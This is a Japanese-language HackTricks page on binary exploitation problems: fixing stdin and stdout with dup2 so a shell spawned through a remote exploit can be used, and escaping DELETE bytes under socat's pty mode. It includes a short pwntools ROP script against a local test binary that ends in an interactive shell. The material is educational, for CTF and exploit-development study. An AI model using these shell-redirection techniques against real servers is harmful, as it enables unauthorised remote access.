hacktricks/src/binary-exploitation/common-exploiting-problems.md

37 lines
2.0 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 一般的なエクスプロイトの問題
{{#include ../banners/hacktricks-training.md}}
## リモートエクスプロイトにおけるFD
例えば、**`system('/bin/sh')`**を呼び出すエクスプロイトをリモートサーバーに送信すると、これはサーバープロセス内で実行され、`/bin/sh`はstdinFD: `0`からの入力を期待し、stdoutおよびstderrに出力を印刷しますFDs `1``2`)。したがって、攻撃者はシェルと対話することができません。
これを修正する方法は、サーバーが起動したときに**FD番号 `3`**(リスニング用)を作成し、その後、あなたの接続が**FD番号 `4`**になると仮定することです。したがって、syscall **`dup2`**を使用してstdinFD 0とstdoutFD 1をFD 4攻撃者の接続のものに複製することが可能であり、これによりシェルが実行されたときに連絡を取ることが可能になります。
[**ここからエクスプロイトの例**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit):
```python
from pwn import *
elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)
rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()
p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()
```
## Socat & pty
socatはすでに**`stdin`**と**`stdout`**をソケットに転送します。ただし、`pty`モードは**DELETE文字**を**含みます**。したがって、`\x7f``DELETE` -)を送信すると、**あなたのエクスプロイトの前の文字を削除します**。
これを回避するために、**エスケープ文字`\x16`を送信する任意の`\x7f`の前に追加する必要があります。**
**ここでこの動作の例を** [**見つけることができます**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**。**
{{#include ../banners/hacktricks-training.md}}